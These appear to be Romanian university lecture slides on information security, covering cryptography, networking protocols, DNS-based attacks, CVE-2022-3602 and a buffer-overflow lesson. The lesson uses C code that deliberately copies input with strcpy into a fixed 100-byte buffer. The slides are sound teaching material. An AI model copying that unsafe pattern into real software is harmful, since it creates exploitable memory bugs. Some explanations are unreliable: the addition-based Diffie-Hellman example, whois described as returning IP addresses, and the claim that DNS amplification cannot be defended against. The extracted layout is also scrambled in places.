Sunteți pe pagina 1din 122

Leonard Pițu

2022 - 2023
§ Leonard Pițu

§ 38 ani
§ Un copil și un câine J

§ Pasionat de tehnologie
§ 15+ ani de experiență în domeniu
CE ESTE SECURITATEA INFORMAȚIEI?

§ Este un ansamblu de măsuri pentru protejarea integrității rețelelor, a programelor de calculator și


datelor împotriva atacurilor, distrugerii sau accesului neautorizat la acestea
§ Scopul: prevenirea amenințărilor și mitigarea atacurilor asupra activelor informaționale (stocate și
transmise)
§ Este un proces complex ce constă din:
• Educarea continuă a personalului de specialitate;
• Actualizarea continuă a sistemelor informatice;
• Adaptarea politicilor de securitate la factorii externi ce sunt în continuă schimbare.

§ Este o meserie, o filozofie, un cumul de bune practici, de standarde și de experiențe


DE CE?

• Criminalitatea cibernetică este în continuă creștere


• Până în 2025 costul criminalității cibernetice va ajunge la 10.5T $

• Dependența societății de fluxul informațional este în continuă creștere


• În 2008 au fost create 14.7 EiB de date
• Între 2014 si 2016 a fost creat 90% din volumul de date existent până la acea vreme
ATACATORI & MOTIVAȚIE

§ Atâta timp cât există un lucru interzis lumea va fi curioasă și motivată să obțină acel lucru.

• Atacatori individuali
• Persoane singulare ce urmăresc un scop financiar sau caută faima
• Au succes limitat în acțiunile lor
• Devin renumiți când sunt prinși J

• Organizații „private”
• Grupuri transfrontaliere de atacatori talentați
• Urmăresc o agendă proprie (au fie un scop financiar fie unul politic sau social)
• Sunt bine organizați, greu de prins și au o rată mare de succes

• Organizații statale
• Sunt afiliați unuia sau mai multor state
• Sunt fie organizații neoficiale fie parte a unor servicii secrete
• Au resurse cvasi nelimitate
Sursa:
SCURTĂ ISTORIE A „ATACURILOR” https://en.wikipedia.org/wiki/Enigma_machine#Breaking_Enigma

CIBERNETICE (1)
Mașina ENIGMA ENIGMA

• Codor/decodor proiectat și folosit de Germ ania nazistă


• Consta din unul sau m ai m ulte rotoare prin interm ediul
cărora erau am estecate cele 26 de litere ale alfabetului
• Regula după care erau am estecate literele (cheia de
criptare) trebuia cunoscută de dinainte
• Cheia de criptare era schim bată zilnic
• Marian Rejewski a fost prim ul criptanalist care a
„spart” m așina Enigm a -> nem ții au rem ediat repede
neajunsul identificat
• Alan T uring a construit „o m așină de stări” m enită să
identifice cheia folosită în tim p util (pe parcursul
aceleiași zile!)
Sursa:
SCURTĂ ISTORIE A „ATACURILOR” https://en.wikipedia.org/wiki/Enigma_machine#Breaking_Enigma
CIBERNETICE (1 - CONTINUARE)
ENIGMA
Învățăminte valabile și astăzi, la peste 80 de ani distanță:
• Tehnologia, oricât de bună, respectiv sigură este, dacă nu este
aplicată corect nu ajută;
• Factorul uman este crucial (și de aici si nevoia constantă de
educare a acestuia);
• De cele mai multe ori ideile cele mai năstrușnice rezolvă
problemele „imposibile”;
• Nimic nu trebuie considerat sigur pentru totdeauna;
• Inovația este un proces ce nu trebuie oprit;
• În rare cazuri este folosită doar o cale de atac;

• Nu îți subestima adversarul.


SCURTĂ ISTORIE A „ATACURILOR”
CIBERNETICE (2)
Phreaking Sursa: https://en.wikipedia.org/wiki/Phreaking

• Entuziaști care au deslușit felul în care funcționează „rețelelor Blue Box


comutate de telefonie publică”
• Efort colaborativ al unui grup talentat de ingineri
• Nu a avut scopuri distructive deși a cauzat pierderi financiare
considerabile
• Comunitatea a crescut prin intermediul entuziaștilor
• Membri de marcă: Steve Jobs J, Steve Wozniak
Învățăminte:
• Nu îi subestima pe cei pasionați;
• O comunitate de entuziaști poate da peste cap planurile oricui;
• Un hobby poate finanța o activitate profesională;
• Un lucru ascuns nu e neapărat și sigur.
SCURTĂ ISTORIE A „ATACURILOR” CIBERNETICE (3)

Sursa: https://spectrum.ieee.org/the-real-story-of-stuxnet
PRINCIPII DE BAZĂ I
§ “Dacă e secret e sigur” sau poate că nu…

§ “ascunderea” datelor se bazează pe principii matematice (astăzi) și poartă numele de criptografie (vgr. „kryptós”, ascuns, și –
„grafie”, scriere; scriere cu alfabet secret)
§ Piloni ai tehnicilor criptografice:

• Confidențialitatea: datele sunt disponibile numai destinatarilor; datelor sunt criptate înainte de transmitere astfel încât
acestea nu pot fi citite în timpul transmiterii;

• Integritatea: datele sunt protejate de o modificare neautorizata în timpul transmiterii, astfel încât datele recepționate sunt
identice cu cele transmise; se utilizează funcții de hașurare (eng. „hash”);

• Disponibilitatea: oferă capacitatea unui sistem de a fi mereu pregătit pentru acțiunile utilizatorului;

• Autentificarea: verificarea originalității unui mesaj prin verificarea legitimității expeditorului de către destinatar;

• Ne-repudierea: verificarea ce asigură că expeditorul unui mesaj este unica persoană care l-ar fi putut trimite - expeditorul
nu poate contesta că a transmis mesajul; se utilizează semnături digitale.
PRINCIPII DE BAZĂ II
§ “Ce e important trebuie ascuns” J

§ Auguste Kerckhoffs a definit în 1883 principii ce stau la baza criptografiei moderne:


• Un sistem criptografic ar trebuie să fie imposibil de spart în practică, chiar dacă teoretic pot exista anumite
limitări;
• Algoritmul criptografic nu ar trebui să fie secret; avantajul unui algoritm public ar fi dat de faptul că numărul
mare de oameni ce ar avea acces la el ar putea detecta eventualele breșe de securitate, care astfel ar putea fi
soluționate din timp;
• Cheia de criptare trebuie să fie singurul secret și ar trebui să poată fi schimbată ușor;
• Sistemul criptografic trebuie să fie simplu și robust, astfel încât utilizatorii să îl poată utiliza fără eforturi mari.
ACTORI
§ Literatura de specialitate definește 3 actori pe baza cărora se pot enunța principiile de securitate:
• Alice – partenerul criptografic numărul 1. Alice trimite și recepționează mesaje criptate de la Bob;
• Bob – partenerul criptografic numărul 2. Bob recepționează și trimite (răspunde) mesaje criptografice;
• Mallory – atacatorul. Mallory dorește să intercepteze comunicația între Alice și Bob.

• Un mesaj criptat se numește criptogramă

• Un mesaj se criptează (sau decriptează) prin intermediul unei chei criptografice


TIPURI DE CRIPTOGRAFIE
§ Simetrică
§ Atât Alice cât și Bob utilizează aceiași cheie secretă
§ De regulă se utilizează un canal sigur de comunicație
§ Se împart în algoritmi ”pe blocuri” (DES, 3DES, RC2, Blowfish, AES) sau „pe fluxuri” (FISH, Grain, Turing, West, RC4, Salsa20)
§ În cazul în care Alice dorește să îi trimită lui Bob un mesaj criptat, sunt executați următorii pași:
§ Alice criptează mesajul în clar utilizând cheia agreată în prealabil
§ Rezultatul criptării (criptograma) este trimis lui Bob folosind orice metodă de comunicație, indiferent dacă este sigură sau nu
§ Pentru a decripta mesajul, Bob va utiliza aceiași cheie pe care o va încărca alături de criptogramă

§ Asimetrică
§ Se bazează pe o pereche de chei: una secretă, proprie fiecărui partener de comunicație și una publică, cunoscută tuturor partenerilor de comunicație
§ Se pot utiliza mai multe canale de comunicație simultan
§ În cazul în care Alice dorește să îi trimită lui Bob un mesaj criptat, sunt executați următorii pași:
§ Se descarcă, de la autoritatea de certificare, cheia publică a lui Bob;
§ Se încarcă datele în clar alături de cheia publică a lui Bob în algoritmul criptografic;
§ Rezultatul criptării (criptograma) este trimis lui Bob folosind orice metodă de comunicație, indiferent dacă este sigură sau nu
§ Pentru a decripta mesajul, Bob va utiliza cheia sa privată pe care o va încărca alături de criptogramă
§ Permite semnarea mesajelor:
§ Alice semnează mesajul utilizând cheia ei private
§ Rezultatul semnăturii este trimis lui Bob folosind orice metodă de comunicație, indiferent dacă este sigură sau nu
§ Bob descarcă cheia publică a lui Alice pe care o va încărca alături de mesajul semnat pentru a-l „decripta”
SIMETRIC VS. ASIMETRIC
Algoritm criptografic Avantaje Dezavantaje
Criptare simplă – este ușor de executat; este suficient ca toți partenerii de comunicație să dețină secretul (cheia de criptare). Este necesar un canal sigur de comunicație care să permită schimbul de chei intre cei doi parteneri. Schimbul de
Algoritmii nu necesită reglaje sau alte premise pentru efectuarea calculelor. chei între cei doi parteneri de comunicație reprezintă primul și cel mai important element de securitate al
acestei clase de algoritmi criptografici.
Prin natura algoritmului se pot cripta și decripta, local, fișiere sau mesaje. Pentru aceasta este suficientă o singură cheie care
este folosită și pentru criptare și pentru decriptare. Numărul mare de chei (conform standardului, câte o cheie criptografică pentru fiecare doi parteneri de
comunicație) poate crea probleme în ceea ce privește administrarea acestora.
Sunt algoritmi rapizi (în general cu un ordin de mărime mai rapizi decât cei asimetrici).
Originea și originalitatea mesajelor nu poate fi verificată. Ținând cont că ambii parteneri folosesc aceeași cheie,
Consumul de resurse este redus: implementările software pot rula chiar și pe microcontrolere pe 8 biți, iar cele hardware nu nu se poate verifica cine este expeditorul și cine este destinatarul.
sunt cu mult mai mari decât o interfață serială standard.
Simetric
Previne atacurile „în masă” datorită faptului că fiecare pereche de parteneri are o cheie (conform standardului [103]) și deci
un eventual atac ar compromite doar comunicația între doi parteneri, lăsând neafectate comunicația cu ceilalți parteneri.

Oferă o soluție pentru principalul dezavantaj al criptării simetrice, și anume distribuirea cheii de criptare. În acest caz doar Cheile publice trebuie autentificate – nu este recomandată utilizarea unor chei publice înainte ca autenticitatea
cheia publică este distribuită, în timp ce cheia privată rămâne secretă. lor să fie verificată.

Oferă posibilitatea autentificării mesajelor prin semnarea digitală a acestora. Astfel, dacă destinatarul dorește determinarea
originalității mesajului primit, trebuie doar verifice dacă semnătura digitală este cea corectă. Operația nu este diferită de cea Algoritmii criptografici asimetrici sunt lenți. Nu este recomandată utilizarea lor pentru criptarea unor mesaje
de criptare, respectiv decriptare a unui mesaj, fiind deci ușor de aplicat. mari sau a unor cantități semnificative de date.

Oferă posibilitatea de detecție a manipulării mesajelor prin utilizarea de semnături digitale alături de criptare. În cazul în care Necesită un număr mai mare de resurse și un număr de componente dedicate (cum ar fi generatoarele de
un atacator manipulează mesajul, semnătura digitală se va schimba astfel încât mesajul va fi automat invalidat. numere aleatoare).

Asimetric Utilizând semnături digitale, expeditorul nu poate nega trimiterea mesajului. Datorită acestui fapt, criptografia asimetrică Un atac de securitate ar putea permite unui atacator să citească toate mesajele celui a cărui cheie a fost
îndeplinește cerința de non-repudiere a mesajelor criptate. interceptată.

Pierderea cheii private înseamnă compromiterea totală a securității deoarece cu ajutorul acesteia pot fi
decriptate toate mesajele schimbate cu toți partenerii.
FUNCȚII DE HAȘURARE („HASHING”)
§ Asigură integritatea mesajelor

§ Transformă un mesaj de o lungime arbitrară într-o „sumă de control” de lungime fixă FĂRĂ posibilitatea
de a calcula înapoi mesajul inițial (diodă de date)
§ Suma poartă numele de „hash” sau „digest” în literatura de specialitate; lungimea șirului de control este
între de regulă între 128 și 512 biți
§ În cazul în care Alice dorește să îi trimită lui Bob un mesaj a cărui integritate Bob o poate verifica:
§ Se calculează hash-ul mesajului care urmează să fie transmis către Bob;
§ Hash-ul este criptat și trimis către Bob într-un mesaj separat;
§ Mesajul criptat este trimis către Bob;
§ Bob decriptează mesajul și recalculează hash-ul;
§ Bob decriptează hash-ul primit de la Alice și-l compară cu cel calculate de el – daca cele 2 sunt identice atunci
mesajul este cel original, trimis de Alice.
§ Algoritmi utilizați: SHA1, SHA2, SHA3, MD4, MD5
SCHIMB DE CHEI
§ Nicio metoda de criptare nu este utilă dacă cei doi parteneri nu au cheia potrivită
§ „Față-în-față”
§ Nu este practică decât în cazuri excepționale

§ Electronică
§ Este imperios necesară în condițiile erei „Internet”
§ Diffie-Hellman comes to the rescue J
§ Această metode permite agrearea unui secret folosindu-se de canale publice de comunicație. Un exemplu practic, ușor de
înțeles poate fi:
• Alice și Bob agreează un număr oarecare (5) care nu trebuie ascuns
• Alice alege un număr (8) pe care șl păstrează secret
• Bob alege un număr (4) pe care șl păstrează secret
• Alice calculează suma dintre numărul public și numărul ei secret (5+8=13) iar rezultatul i-l trimite lui Bob
• Bob calculează suma dintre numărul public și numărul lui secret (5+4=9) iar rezultatul i-l trimite lui Alice
• Alice calculează suma dintre numărul primit de la Bob și numărul ei secret (9+8=17)
• Bob calculează suma dintre numărul primit de la Alice și numărul lui secret (13+4=17)
§ Există posibilitatea unui atac de tip „man-in-the-middle”
REȚELE DE
CALCULATOARE I

Sursa: https://www.allaboutelectronics.org/frequency-division-multiplexing-fdm-explained/

Cum se poate efectua


comuncația SIMULTANĂ cu mai
multe aplcații pe un același
calculator care are doar o placă
de rețea?
REȚELE DE
CALCULATOARE II

• Se folosește conceptul de port


• Un port este un număr asignat unei
conexiuni Sursa: https://www.allaboutelectronics.org/frequency-division-multiplexing-fdm-explained/

• Un port identifică conexiunea și


direcționază datele către aplicația
corectă
• La nivel logic, într-un sistem de
operare, porturile identifică un
proces sau un serviciu ce comunică
prin rețeaua de calculatoare
• Portul este întotdeauna asociat cu
adresa IP a calculatorului
REȚELE DE
Number Assignment
CALCULATOARE III 20 File Transfer Protocol (FTP) Data Transfer

21 File Transfer Protocol (FTP) Command Control


• Porturile sunt num ere întregi pe
16 biți (exista 65536 de porturi) 22 Secure Shell (SSH) Secure Login

23 Telnet remote login service, unencrypted text messages


• Cele m ai cunoscute protocoale de
transport de date sunt T CP și UDP 25 Simple Mail Transfer Protocol (SMTP) email delivery

53 Domain Name System (DNS) service


• Pentru T CP portul 0 nu există
67, 68 Dynamic Host Configuration Protocol (DHCP)
(este rezervat sistem ului) Hypertext Transfer Protocol (HTTP) used in the World Wide
80
Web
• Pentru UDP portul este opțional 110 Post Office Protocol (POP3)
(portul 0 înseam nă că nu există 119 Network News Transfer Protocol (NNTP)
niciun port) 123 Network Time Protocol (NTP)
Internet Message Access Protocol (IMAP) Management of
• Un proces își asociază intrările și 143
digital mail
ieșirile cu un socket intern (un fel 161 Simple Network Management Protocol (SNMP)
de fișier virtual) – acesta este
194 Internet Relay Chat (IRC)
asociat unui protocol de transport, 443 HTTP Secure (HTTPS) HTTP over TLS/SSL
unei adrese IP și unui port 546, 547 DHCPv6 IPv6 version of DHCP
CUM MERGE INTERNETUL

Cum ajung de la
https://www.wikipedia.org
La
91.198.174.192
?
CUM MERGE INTERNETUL I
§ Cum ajung de la https://www.wikipedia.org la 91.198.174.192?

Sursa: https://en.wikipedia.org/wiki/Domain_Name_System
CUM MERGE INTERNETUL II
Domain Name System

§ Clientul dorește să vadă pagina www.wikipedia.org


§ Browserul web cere TLD-ului (Top Level Doman) adresa IP a serverului DNS pentru domenii .org
§ Browserul web cere serverului DNS pentru domenii .org adresa IP pentru Wikipedia
§ Browserul cere serverului Wikipedia pagina web (GET)

§ Inițial erau doar 13 servere TLD


§ În prezent sunt peste 1500 de servere – fiecare din cele 13 servere a devenit un cluster iar apariția IPv6 a
eliminat multe din neajunsurile inițiale
ATACURI ASUPRA INFRASTRCUTURII
INTERNET

§ DoS
§ DDoS
§ DNS poisoning
§ DNS amplification
§ Fast-flux DNS
DOS/DDOS Sursa: https://en.wikipedia.org/wiki/Denial-of-
service_attack#/media/File:Stachledraht_DDos_Attack.svg

§ Denial of Service/Distributed Denial of Service


§ Constă în abuzul țintit asupra unei resurse dintr-o rețea informatică
§ Poate să fie un atac lansat dintr-un singur punct (DoS) sau din mai
multe (DDoS)
§ Scopul final este de a „inunda” resursa respectivă cu cereri false
astfel încât utilizatorii legitimi nu mai au acces la informația dorită
§ Atacatorul nu obține câstiguri directe de pe urma acestui tip de atac
§ De cele mai multe ori sunt atacuri de răzbunare sau motivate politic
sau social
DNS POISONING
Sursa: https://bluecatnetworks.com/wp-
content/uploads/2020/10/DNS-Poisoning.png

§ „otravirea” serverului de DNS are ca scop final redirecționarea


clientului (Alice) către o pagină nelegitimă (elaborată de Mallory)
§ Alice nu realizează faptul că serverul DNS a fost compromis
§ Bob nu realizează că Alice nu a ajuns la pagina sa
§ Atacurile sunt motivate financiar sau politic (de exemplu „The Great
Firewall of China”)
DNS AMPLIFICATION
Sursa: https://www.researchgate.net/profile/Georgios-
Kambourakis/publication/220816528/figure/fig1/AS:669031715594250
@1536520999695/General-Architecture-of-a-DNS-amplification-
attack.png
§ Alice face o cerere către un server de DNS (cererile sunt de regulă
foarte mici ca dimensiune pentru a fi eficiente)
§ Mallory interceptează cererea lui Alice și o retrimite, în numele lui
Alice către același sau către alte servere DNS
§ Cererile DNS sunt mult mai mici ca răspunsurile DNS, ca atare Alice
o să primească mult mai multe date decât a cerut

Nu există protecție împotriva acestui timp de atac!


FAST-FLUX DNS Sursa: https://en.wikipedia.org/wiki/Fast_flux

§ Este o tehnică evazivă folosită de atacatori


§ Mallory execută un atac însă datorită felului în care este construit
Interentul riscă să fie prins destul de repede
§ Mallory se „ascunde” însă în spatele unei liste mari de servere false
§ În esență Mallory are un server cu un FQDN unic și un număr imens
adrese IP pe care le tot schimbă extrem de rapid
§ Schimbarea adreselor o face direct in serverul de DNS

Atacurile de acest fel sunt extrem de greu de detectat și mitigat!


PROTOCOALE DE COMUNICAȚIE
Sursa: https://ro.wikipedia.org/wiki/Modelul_OSI

§ Se bazează pe modelul OSI (Open Systems Interconnection)

§ Este o stivă de protocoale deschise, folosite în comunicațiile


digitale, pentru a realiza rețele de calculatoare
§ Este un standard internațional (din 1984), deschis și public
§ Reprezintă un cumul de metode generale ce permit realizarea de
rețele interoperabile de date indiferent de construcția sau locația
acestora
§ Permite descompunerea problemei dificile de a comunica într-o
serie de pași simplii, ușor de implementat și verificat
§ Fiecare nivel comunică doar nu nivelurile adiacente
OSI – NIVELURI ALE MEDIULUI
Nivel 1 - Fizic Nivel 2 – Legătură de date Nivel 3 – Rețea

USB: Universal Serial Bus DCAP: Data Link Switching Client ARP: Address Resolution
Access Protocol Protocol
Ethernet: Ethernet physical layer
FDDI: Fiber Data Distribution
WiFi: radio network layer Interface BGP: Border Gateway Protocol
DSL: Digital subscriber line HDLC: High-level Data Link ICMP: Internet Control Message
Etherloop: Ethernet and DSL Control Protocol
combination LAPD: Link Access Protocol D- IPv4: Internet Protocol version 4
Infrared: Infrared radiation channel
IPv6: Internet Protocol version 6
Frame Relay PPP: Point-to-Point Protocol
IPX: Internetwork Packet
SDH: Synchronous Digital STP: Spanning Tree Protocol Exchange
Hierarchy VTP VLAN: Virtual Trunking
Protocol for Virtual LAN OSPF: Open Shortest Path First
SONET: Synchronized optical
network MPLS: Multi-Protocol Label RARP: Reverse Address
Switching Resolution Protocol
OSI – NIVELURI ALE HOSTULUI
Nivel 4 - Transport Nivel 5 - Sesiune Nivel 6 - Prezentare Nivel 7 - Aplicație

IL: Originally converted as a DHCP: Dynamic Host


transport layer for 9P NFS: Network File TLS: Transport Layer Configuration Protocol
SPX: Sequenced Packet
System Security
DNS: Domain Name System
Exchange SSL: Secure Socket Layer
SMB: Server Message HTTP: Hypertext Transfer
SCTP: Stream Control Block Protocol
Transmission Protocol XDR: External Data
RPC: Remote Procedure Representation HTTPS: Hypertext Transfer
TCP: Transmission Control Protocol Secure
Protocol Call
MIME: Multipurpose
POP3: Post Office Protocol 3
UDP: User Datagram SDP: Sockets Direct Internet Mail Extensions
Protocol Protocol SMTP: Simple Mail Transfer
Protocol
iSCSI: Internet Small SMPP: Short Message
Computer Systems Interface Telnet: Telecommunications
Point-to-Point Network Protocol
DCCP: Datagram Congestion
Control Protocol
PPP
§ Point-to-Point Protocol

§ Este folosit pe scară largă de furnizorii de servicii de Internet


§ Cel mai comun este PPPoE (PPP over Ethernet)

§ Este destinat echipamentelor de rețelistică fară intervenție umană


§ Suportă un număr mare de niveluri fizice de transport a datelor
§ Există în varianta criptată dar și necriptată
§ Poate comprima automat datele

§ Este vulnerabil:
§ Replay attacks -> se utilizează autentificarea
ARP
§ Address Protocol Resolution

§ Convertește o adresă IP într-o adresa fizică (MAC address)


§ Fiecare adaptor fizic are o adresă unică, programată într-o memorie read-only (teoretic) la
fabricație
§ Dacă Alice dorește să discute cu Bob trebuie să îi alfe adresa MAC
§ Legătura dintre adresa IP (setată manual – static – sau alocată de serverul DHCP – dinamic) este
stocată de protocolul ARP într-o memorie cache; fiecare dispozitiv are o astfel de memorie
§ Dacă echipamentele dintre Alice și Bob nu au în memorie adresa MAC corespunzătoare adresei IP
folosite atunci pachetele de date nu ajung la destinație

§ Este vulnerabil:
§ ARP spoofing (ARP poisoning – Mallory “otrăvește” memoria cache asociind adresei IP atacate adresa sa
MAC)
BGP
§ Border Gateway Protocol

§ Este protocolul ce stă la baza redirecționării pachetelor de date prin Internet


§ Este responsabil cu “mutatul” pachetelor dintr-o rețea în alta, în mod transparent, pe baza informațiilor predefinite
despre “vecinatate”
§ Rețelele sunt zone din Internet ce aparțin unei anume organizații (de exemplu Google)
§ Routerele de la marginea rețelelor folosesc BGP pentru a direcționa pachetele de date pe rutele cele mai eficiente
§ BGP permite traficului de date să fie rezilient la erori, pierderi de pachete sau modificări ale structurii Internetului
§ BGP construiește un tabel de routare în fiecare router periferic pe baza conexiunilor imediate și pe baza unor reguli
prestabilite
§ Informația este actualizată foarte des
§ BGP este destinat sistemelor autonome – factorul uman nu intervine nicăieri în lanțul de comunicare

§ Este vulnerabil:
§ …
IPV4/IPV6
§ Internet Protocol

§ Se bazează pe datagrame (telegrame de date) routabile


§ Are la bază funcții de comunicație inter-rețele (internetworking) permit transmiterea de pachete între rețele
interconectate fomând în mod efectiv Internetul
§ IP are un singur lucru de făcut: să transporte pachetele de date de la sursă (Alice) la destinație (Bob) DOAR pe
baza adreselor IP din headerul pachetului de date
§ Stă la baza comunicației TCP motiv pentru care suita de protocoale Internet este de cele mai multe ori numită
TCP/IP
§ Versiunile 1-3 au fost pur experimentale
§ Versiunea 4 este folosită pe scară largă
§ Versiunea 5 a fost experimentală și nu s-a impus
§ Versiunea 6 a început să fie folosită pe scară largă (și să înlocuiască versiunea 4)

§ Este vulnerabil:
§ …
IPV4 VS IPV6
INTERNET
§ Ion sta pe strada Sforii, numărul 12

§ Google.com are adresa IP 64.233.160.0


§ URL-ul indică ce căutam (numele)
§ DNS-ul indică unde este (adresa)
§ Numele indica ce căutam:
§ Adresa lui Ion § BGP-ul indică cum ajungem (ruta)
§ Google.com

§ Adresa ne indică unde este: § whois google.com


§ returneaza adresa IP pentru domeniul google.com (DNS
§ Strada Sforii, numărul 12 query)
§ 64.233.160.0

§ Ruta ne indică cum ajungem: § traceroute google.com


§ Felul în care ajungem pe strada Sforii, numărul § Returnează ruta curentă prin care am ajuns la serverul
12 google.com
§ Returnează latența fiecărui nod în parte
§ Felul în care ajungem la 64.233.160.0
HTTP
§ Hyper Text Transfer Protocol

§ Este un protocol de nivel “aplicație”


§ Este protocolul de baza în universul www (World Wide Web)
§ Permite transportul de hypermedia: un hypertext ce include hyperlinkuri către alte hypertexte; un hypertext este un
tip de document digital ce include mai multe elemente grafice (text, grafica animata sau statica, desene și decorațiuni,
grafice etc.)
§ A fost dezvoltat în 1989 de Tim Berners-Lee la CERN; primul server web a fost pornit in 1990
§ Versiunea 1 a protocolului a aparut in 1996; versiuni ulterioare au adus îmbunătățiri în ceea ce privește viteza și
securitatea (https)
§ Are la bază principiul cerere-răspuns în comunicația server-client
§ Clientul cere resurse iar serverul le “servește”
§ Clientul este în cele mai multe cazuri un browser web controlat de un operator uman
§ Fiecare răspuns este însoțit de un status
§ Clientul este identificat printr-un “agent de utilizare” (user agent)

§ Permite nodurilor intermediare din rețea să îmbunătățească comunicația prin:


§ Stocarea elementelor statice ale paginilor web (cache)
§ Utilizarea de servere web proxy ce permit accesul la Internet și celor ce nu au o adresă direct routabilă
HTTP

• Mozilla/5.0 (Windows NT 10.0; • Mozilla/5.0 (Macintosh; Intel Mac OS X


WOW64) AppleWebKit/537.36 (KHTML, 13_0) AppleWebKit/537.36 (KHTML, like
like Gecko) Chrome/107.0.0.0 Gecko) Chrome/107.0.0.0 Safari/537.36
Safari/537.36
HTTP
§ Protocolul pleacă de la premisa că nivelul de transport este deja stabilit
§ Comuncația TCP este cea mai utilizată (pe portul 80)
§ Există posibilitatea de utilizare a traficului UDP (HTTPU sau SSDP)

§ Resursele dintr-o rețea sunt identificate prin URL (Uniform Resource Locator) folosind
schemele URI-uri (Uniform Resource Indentifier) http și https; URI-urile sunt codate ca
hyperlinkuri in cadrul hyperdocumentelor
§ În cadrul comunicației dintre client și server:
§ Clientul realizază o conexiune stabilă cu serverul
§ Clientul inițiază comunicația
§ Atât clientul cât și serverul pot întrerupe oricând comunicația

GET /images/logo.png HTTP/1.1


HTTP
Sursa: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol

Metode
Request Response
Request has has Idem pote Cacheabl
RFC Safe
m ethod payload payload nt e
body body
GET RFC 9110 Optional Yes Yes Yes Yes
HEAD RFC 9110 Optional No Yes Yes Yes
POST RFC 9110 Yes Yes No No Yes
PUT RFC 9110 Yes Yes No Yes No
DELET E RFC 9110 Optional Yes No Yes No
CONNECT RFC 9110 Optional Yes No No No
OPT IONS RFC 9110 Optional Yes Yes Yes No
T RACE RFC 9110 No Yes Yes Yes No
PAT CH RFC 5789 Yes Yes No No No
HTTP
Sursa: https://www.oreilly.com/library/view/restful-java-web/9781788294041/1889f99d-f907-41c3-a0f0-925bbf1d3825.xhtml
HTTPS
§ Hyper Text Transfer Protocol Secure

§ Este o extensie a protocolului http ce adaugă metode de securitate -> nu se pot “ascunde”
datele de protocol (de exemplu pagina și portul accesat)
§ Peste 80% din paginile web existente folosesc https
§ De regulă doar unul din parteneri este autentificat (clientul [browserul] autentifică serverul)
§ Clientul are prestocată o listă de autorități de certificare cu ajutorul cărora poate verifica
autentiticatea certificatelor puse la dispoziție de serverul web

§ Foloeste protocoalele SSL sau TLS din nivelul de transport creând un canal criptat de
comunicație peste rețele insecurizate
SSL
§ Secure Socket Layer

§ Asigură securizarea și autentificarea datelor aflate în tranzit prin rețele nesecurizate de


calculatoare
§ A fost declarat depășit în 1999 odată cu apariția TLS 1.0
§ Se bazează pe certificate de securitate care „leagă” identitatea unei pagini web de o pereche
de chei criptografice
§ Conține date despre server: autoritatea de certificare, domeniu, detalii despre proprietar și pagină
§ Cheia publică, aflată în certificat, este utilizată de client (browser) pentru a iniția procesul de criptare
a datelor
§ Cheia privată este stocată în mod securizat pe serverul web și este utilizată pentru a semna digital
conținutul cerut de client
TLS
§ Transport Layer Security

§ Este succesorul lui SSL


§ Îndeplinește toate criteriile de securitate definite ca piloni de bază ai securității
§ Poate utiliza un număr mare de algoritmi criptografici
PROTOCOLUL SSL/TLS Sursa: https://en.wikipedia.org/wiki/Transport_Layer_Security#TLS_handshake

• Clientul
• Cere serverului o conexiune sigură
• Ii prezintă algoritmii criptografici pe care îi cunoaște

• Serverul
• Alege din listă un algoritm criptografic și unul de hașurare
pe care le cunoaște
• Notifică clientul de selecția făcută
• Se identifică prin intermediul unui certificat digital

• Clientul
• Verifică veridicitatea certificatului la autoritatea de
certificare
• Timite un număr aleator, criptat cu cheia publică a
serverului, sau
• Agreează o cheie cu serverul folosind Diffie-Hellman
PAGINA WEB
Sursa: https://html-css-js.com
Sursa: https://brytdesigns.com/html-css-javascript-whats-the-difference
VULNERABILITĂȚI & EXPLOIT-URI
Exemplu: CVE-2022-3602
Common Vulnerabilities and Exposures
§ X.509 Email Address 4-byte Buffer Overflow

• Oferă un sistem de referință pentru


accesarea informațiilor referitoare la § A buffer overrun can be triggered in X.509 certificate verification, specifically in
name constraint checking. Note that this occurs after certificate chain signature
vulnerabilități cunoscute verification and requires either a CA to have signed the malicious certificate or for
the application to continue certificate verification despite failure to construct a
path to a trusted issuer. An attacker can craft a malicious email address to overflow
• Este referința „universală” pentru toți actorii four attacker-controlled bytes on the stack. This buffer overflow could result in a
crash (causing a denial of service) or potentially remote code execution. Many
din domeniu platforms implement stack overflow protections which would mitigate against the
risk of remote code execution. The risk may be further mitigated based on stack
layout for any given platform/compiler. Pre-announcements of CVE-2022-3602
• Oferă informații detaliate și un sistem unitar described this issue as CRITICAL. Further analysis based on some of the mitigating
factors described above have led this to be downgraded to HIGH. Users are still
de notare al nivelului de severitate encouraged to upgrade to a new version as soon as possible. In a TLS client, this
can be triggered by connecting to a malicious server. In a TLS server, this can be
triggered if the server requests client authentication and a malicious client
• Patch-urile de securitate conțin totdeauna connects. Fixed in OpenSSL 3.0.7 (Affected 3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6).

referințe către CVE-urile pe care încearcă să


le rezolve § Base Score: 7.5 HIGH

§ Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVE-2022-3602

§ A buffer overrun can be triggered in X.509 certificate verification, specifically in name


constraint checking.
§ An attacker can craft a malicious email address to overflow four attacker-controlled bytes on
the stack. This buffer overflow could result in a crash (causing a denial of service) or
potentially remote code execution.
BUFFER OVERFLOW
§ Are loc atunci când în memorie sunt scrise mai multe date decât
este spațiul disponibil

#include <stdio.h>
0xFFFFFFFF Kernel
#include <string.h> Stack

void test(char *name) {


char buf[100];
strcpy(buf, name);
...
printf("Welcome %s\n", buf);
} Heap

int main(int argc, char *argv[]) { Data


test(argv[1]);
0x00000000 Text
return 0;
}
BUFFER OVERFLOW
§ Kernel: parametrii din linie de comandă
§ Text: codul aplicației în sine
0xFFFFFFFF Kernel
§ Data: spațiul aferent variabilelor inițializate
și neinițializate Stack

§ Heap: zona dinamică de memorie folosită de


limbajul de programare în sine ...

§ Stack: zona dinamică de memorie folosită Heap


pentru stocarea variabilelor temporare
create de program Data
0x00000000 Text
§ Heap-ul crește „în sus” iar Stack-ul crește ”în
jos”
BUFFER OVERFLOW
#include <stdio.h>
§ argc si argv sunt inițial în Kernel
#include <string.h>
În main() (punctul de intrare în program) Nume Parametru

void test(char *name) { § argv[1] este folosit în apelul funcției test() Adresă de returnare
char buf[100]; § se copiază valoarea lui argv[1] în Stack (ca
Pointer de bază
strcpy(buf, name); parametru al funcției test()) Stack
printf("Welcome %s\n", buf);
} Funcția test() Buffer

§ alocă 100B în Stack


int main(int argc, char *argv[]) {
§ copiază parametrul (valoarea lui argv [1]) în
test(argv[1]);
bufferul alocat anterior
return 0;
§ printează un text urmat de conținutul
}
bufferului
BUFFER OVERFLOW
#include <stdio.h>
